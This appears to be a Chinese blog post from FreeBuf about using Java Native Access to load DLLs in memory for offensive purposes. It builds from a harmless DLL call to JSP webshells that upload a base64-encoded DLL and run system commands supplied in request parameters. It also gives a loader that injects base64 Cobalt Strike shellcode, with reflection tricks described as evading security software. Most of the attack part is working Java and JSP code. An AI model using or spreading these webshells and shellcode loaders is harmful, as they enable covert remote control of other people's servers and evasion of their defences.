在一次實(shí)際項(xiàng)目中遇到了無(wú)法調(diào)用exe可執(zhí)行文件，聽(tīng)說(shuō)哥斯拉利用JNA技術(shù)實(shí)現(xiàn)了內(nèi)存加載exe、執(zhí)行命令等操作，特來(lái)實(shí)踐一下。
(資料圖片)
JNA全稱(chēng)：Java Native Access，是建立在JNI（Java Native Interface）技術(shù)之上的Java開(kāi)源框架，JNA提供了一組Java工具類(lèi)用于在運(yùn)行期間動(dòng)態(tài)訪(fǎng)問(wèn)的系統(tǒng)本地庫(kù)。簡(jiǎn)單理解就是：JNA提供了一個(gè)"橋梁"，可以利用Java代碼直接訪(fǎng)問(wèn)動(dòng)態(tài)鏈接庫(kù)中的函數(shù)。
調(diào)用JNI接口調(diào)用JNI接口的步驟為：
創(chuàng)建工程，將dll文件放到工程下引入JNA相關(guān)的jar包創(chuàng)建繼承自L(fǎng)ibrary類(lèi)的接口接口中創(chuàng)建對(duì)象用于加載DLL/SO的類(lèi)庫(kù)接口中聲明DLL/SO類(lèi)庫(kù)頭文件中暴露的方法調(diào)用該方法編譯DLL以windows為例，使用Visual Studio 創(chuàng)建一個(gè)動(dòng)態(tài)鏈接庫(kù)的工程，并定義一個(gè)頭文件testdll.h和源文件testdll.cpp。簡(jiǎn)單實(shí)現(xiàn)一個(gè)SayHello的方法創(chuàng)建testdll.cpp，作用是用來(lái)實(shí)現(xiàn)被聲明的函數(shù)。
#include "pch.h"#include "testdll.h"void SayHello(){ std::cout << "Hello！你成功了！" << std::endl;}
創(chuàng)建testdll.h頭文件，作用是用來(lái)聲明需要導(dǎo)出的函數(shù)接口
#pragma once#include
而后編譯出dll。注意：要DLL位數(shù)要與JDK位數(shù)相同，否則無(wú)法調(diào)用。
導(dǎo)入JAR包首先創(chuàng)建java工程，可以是普通項(xiàng)目也可以是maven功能。maven 需要導(dǎo)入依賴(lài)
普通工程可以在 https://github.com/java-native-access/jna 下載jna jar包和platform jar包并導(dǎo)入。
調(diào)用DLL我們需要繼承Library類(lèi)接口，調(diào)用Native類(lèi)的load方法將我們的testdll.dll加載進(jìn)來(lái)并轉(zhuǎn)換為本地庫(kù)，而后聲明SayHello方法。
public interface Mydll extends Library { Mydll mydll = (Mydll)Native.load("testdll",Mydll.class); void SayHello();}
調(diào)用時(shí)不需要鏈接庫(kù)的后綴，會(huì)自動(dòng)加上。聲明SayHello方法時(shí)，結(jié)合testdll.h頭文件，沒(méi)有返回值為void，也沒(méi)有需要的數(shù)據(jù)類(lèi)型。（需要的話(huà)可查找JNA 數(shù)據(jù)類(lèi)型對(duì)應(yīng)關(guān)系）
然后在主方法里調(diào)用SayHello方法
public static void main(String[] args) { Mydll.mydll.SayHello();}
可以看到成功調(diào)用了testdll.dll的SayHello方法。
加載動(dòng)態(tài)鏈接庫(kù)在上面的代碼中，我們直接利用Native.load將dll轉(zhuǎn)換為本地庫(kù)，在此之前缺少了加載這一步。常見(jiàn)的加載動(dòng)態(tài)鏈接庫(kù)有三種方法：
System.load / System.loadLibraryRuntime.getRuntime().load / Runtime.getRuntime().loadLibrarycom.sun.glass.utils.NativeLibLoader.loadLibrary在使用時(shí)也有一些區(qū)別：load接收的是系統(tǒng)的絕對(duì)路徑，loadLibrary接收的是相對(duì)路徑。但實(shí)際利用過(guò)程中肯定是絕對(duì)路徑優(yōu)先于相對(duì)路徑。以Runtime.getRuntime().load為例：
但實(shí)際利用可能會(huì)被安全軟件捕捉。我們反射調(diào)用loadLibrary方法。代碼來(lái)自Java加載動(dòng)態(tài)鏈接庫(kù)這篇文章
try { Class clazz = Class.forName("java.lang.ClassLoader"); java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); method.setAccessible(true); method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true); Mydll mydll = (Mydll)Native.load("testdll",Mydll.class); mydll.SayHello();}catch (Exception e){ e.printStackTrace();}場(chǎng)景利用
現(xiàn)在我們想一下具體場(chǎng)景的利用，在此基礎(chǔ)上調(diào)整我們的代碼。
webshell既然jna加載動(dòng)態(tài)鏈接庫(kù)后轉(zhuǎn)換為本地庫(kù)，可以調(diào)用dll的任意方法，那實(shí)現(xiàn)一個(gè)命令執(zhí)行應(yīng)該也是可以的。
#include "pch.h"#include "command.h"#include
相應(yīng)的頭文件
#pragma once#include
java代碼加載并調(diào)用。
import com.sun.jna.Library;import com.sun.jna.Native;public class test {public interface Mydll extends Library { void executeCommand(String command); } public static void main(String[] args) { try { Class clazz = Class.forName("java.lang.ClassLoader"); java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); method.setAccessible(true); method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true); Mydll mydll = (Mydll)Native.load("testdll",Mydll.class); mydll.executeCommand("ipconfig"); }catch (Exception e){ e.printStackTrace(); } }}
成功實(shí)現(xiàn)。結(jié)合實(shí)際利用我們還需要優(yōu)化一下代碼，改成jsp腳本文件。因?yàn)閏om.sun.jna包是第三方包，在實(shí)際利用肯定沒(méi)有。所以這里選擇將自己寫(xiě)的代碼和jna.jar一塊用maven打包為maven02-1.0-SNAPSHOT-jar-with-dependencies.jar試試。
再把test類(lèi)名修改為show，把dll動(dòng)態(tài)鏈接庫(kù)和將要執(zhí)行的命令作為參數(shù)傳遞進(jìn)去。現(xiàn)在還差一個(gè)加載外部的jar包并調(diào)用方法的jsp腳本文件。
<%@ page import="java.lang.reflect.Method" %><%@ page import="java.net.URL" %><%@ page import="java.net.URLClassLoader" %><% String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar"; URLClassLoader urlClassLoader =null; Class MyTest = null; //通過(guò)URLClassLoader加載外部jar urlClassLoader = new URLClassLoader(new URL[]{new URL(path)}); //獲取外部jar里面的具體類(lèi)對(duì)象 MyTest = urlClassLoader.loadClass("com.jna.jnatest"); //創(chuàng)建對(duì)象實(shí)例 Object instance = MyTest.newInstance(); //獲取實(shí)例當(dāng)中的方法名為show Method method = MyTest.getMethod("show", String.class,String.class); //傳入實(shí)例以及方法參數(shù)信息執(zhí)行這個(gè)方法 Object ada = method.invoke(instance, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll","whoami");%>
這樣用的時(shí)候需要向目標(biāo)服務(wù)器手動(dòng)上傳兩個(gè)文件，jar包和dll文件。我們?cè)龠M(jìn)一步優(yōu)化一下。
<%@ page import="java.lang.reflect.Method" %><%@ page import="java.net.URLClassLoader" %><%@ page import="java.net.URL" %><%! private String getFileName(){ String fileName = ""; java.util.Random random = new java.util.Random(System.currentTimeMillis()); String os = System.getProperty("os.name").toLowerCase(); if (os.contains("windows")){ fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll"; }else { fileName = "/tmp/"+ random.nextInt(10000000) + ".so"; } return fileName; } public String UploadBase64DLL(String base64) throws Exception { sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder(); java.io.File file = new java.io.File(getFileName()); java.io.FileOutputStream fos = new java.io.FileOutputStream(file); fos.write(b.decodeBuffer(base64)); fos.close(); return file.getAbsolutePath(); }%><% try{ String cmd = request.getParameter("cmd"); String base64 = request.getParameter("base64"); String file = UploadBase64DLL(base64); String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar"; //通過(guò)URLClassLoader加載外部jar URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)}); //獲取外部jar里面的具體類(lèi)對(duì)象 Class MyTest = urlClassLoader.loadClass("com.jna.jnatest"); //創(chuàng)建對(duì)象實(shí)例 Object instance = MyTest.newInstance(); //獲取實(shí)例當(dāng)中的方法名為show，參數(shù)只有一個(gè)且類(lèi)型為string的public方法 Method method = MyTest.getMethod("show", String.class,String.class); //傳入實(shí)例以及方法參數(shù)信息執(zhí)行這個(gè)方法 Object ada = method.invoke(instance, file,cmd); } catch (Exception e){ out.println(e); }%>
現(xiàn)在只需要手動(dòng)上傳一個(gè)jar包就可以，dll通過(guò)base64編碼上傳上去。這樣參數(shù)值就是base64編碼之后的dll和cmd要執(zhí)行的系統(tǒng)命令。
唯一的缺點(diǎn)就是不能在前端顯示，或許將代碼加入到冰蝎可以實(shí)現(xiàn)？
shellcode既然前端無(wú)法獲取結(jié)果，那直接加載shellcode上線(xiàn)cs呢？我們利用同樣的方式寫(xiě)出加載shellcode的代碼。shellcode.cpp
#include "shellcode.h"#include
shellcode.h
#pragma once#include
在java里加載并調(diào)用，傳入shellcode和長(zhǎng)度。以達(dá)到更好的免殺性。
import java.util.Base64;import com.sun.jna.Library;import com.sun.jna.Native;public class test {public interface Mydll extends Library { void shellcode(byte[] b,int length); } public static void show(String base64,String dllpath,String dllname) { try { Class clazz = Class.forName("java.lang.ClassLoader"); java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); method.setAccessible(true); method.invoke(null, clazz, dllpath, true); Mydll mydll = (Mydll)Native.load(dllname,Mydll.class); byte[] base64decodedBytes = java.util.Base64.getDecoder().decode(base64); int leng = base64decodedBytes.length; mydll.shellcode(base64decodedBytes,leng); }catch (Exception e){ e.printStackTrace(); } }public static void main(String[] args) {String base64encodedString = "XHhmY1x4NDhxxxxxxxxxxxxxxx";show(base64encodedString,"C:\\Windows\\Temp\\jna.dll","jna"); }}
此時(shí)只需要將shellcode值base64編碼當(dāng)做字符傳遞即可。測(cè)試一下
可以看到正常上線(xiàn)，進(jìn)程為javaw.exe。那在實(shí)際環(huán)境中同樣不能這樣利用。依舊把java代碼打包為jar包，再修改一下jsp腳本文件應(yīng)該就可以在實(shí)際運(yùn)行了。
<%@ page import="java.lang.reflect.Method" %><%@ page import="java.net.URLClassLoader" %><%@ page import="java.net.URL" %><%! private String getFileName(String dllname){ String fileName = ""; String os = System.getProperty("os.name").toLowerCase(); if (os.contains("windows")){ fileName = "C:\\Windows\\Temp\\" + dllname + ".dll"; }else { fileName = "/tmp/"+ dllname + ".so"; } return fileName; } public String UploadBase64DLL(String base64,String dllname) throws Exception { sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder(); java.io.File file = new java.io.File(getFileName(dllname)); java.io.FileOutputStream fos = new java.io.FileOutputStream(file); fos.write(b.decodeBuffer(base64)); fos.close(); return file.getAbsolutePath(); }%><% try{ String shellcode = request.getParameter("shellcode"); String base64dll = request.getParameter("base64dll"); String dllname = request.getParameter("dllname"); String pathdll = UploadBase64DLL(base64dll,dllname); String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar"; URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)}); Class MyTest = urlClassLoader.loadClass("com.jna.jnatest"); Object instance = MyTest.newInstance(); Method method = MyTest.getMethod("show", String.class,String.class,String.class); Object ada = method.invoke(instance,shellcode, pathdll,dllname); } catch (Exception e){ out.println(e); }%>
以tomcat為例，shellcode 即將cobaltstrike的shellcode進(jìn)行base64編碼，base64dll 是base64編碼dll動(dòng)態(tài)鏈接庫(kù)之后的值，dllname即是dll動(dòng)態(tài)鏈接庫(kù)的名稱(chēng)。測(cè)試可以正常上線(xiàn)執(zhí)行命令。上線(xiàn)進(jìn)程為java.exe。
總結(jié)在學(xué)習(xí)JNA調(diào)用動(dòng)態(tài)鏈接庫(kù)的時(shí)候，借鑒了很多師傅的思路，但無(wú)奈趕不上師傅們的高度，只能用稍微復(fù)雜點(diǎn)的辦法完善自己的代碼，來(lái)曲折得實(shí)現(xiàn)效果。
參考資料https://www.bilibili.com/video/BV16t411A7it/?spm_id_from=333.337.search-card.all.click&vd_source=0627d2723fb97773126096556cc98e0dhttps://www.cnblogs.com/happyhuangjinjin/p/17219986.htmlhttps://tttang.com/archive/1436/https://payloads.online/archivers/2022-08-11/1/
本文作者：CSeroad，轉(zhuǎn)載請(qǐng)注明來(lái)自FreeBuf.COM
標(biāo)簽：
